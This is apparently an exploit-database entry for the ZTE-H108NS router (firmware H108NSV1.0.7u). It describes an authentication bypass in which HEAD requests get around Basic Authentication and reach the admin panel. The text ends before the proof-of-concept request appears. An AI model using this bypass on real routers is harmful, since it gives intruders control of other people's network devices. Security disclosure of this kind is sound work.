# Exploit Title: Router ZTE-H108NS - Authentication Bypass # Date: 19-11-2022 # Exploit Author: George Tsimpidas # Vendor: https://www.zte.com.cn/global/ # Firmware: H108NSV1.0.7u_ZRD_GR2_A68 # CVE: N/A # Tested on: Debian 5.18.5 Description : When specific http methods are listed within a security constraint, then only those methods are protected. Router ZTE-H108NS defines the following http methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed operation which allows the HEAD to be implemented correctly with every Response Status Code. Proof Of Concept : Below request bypasses successfully the Basic Authentication, and grants access to the Administration Panel of the Router.
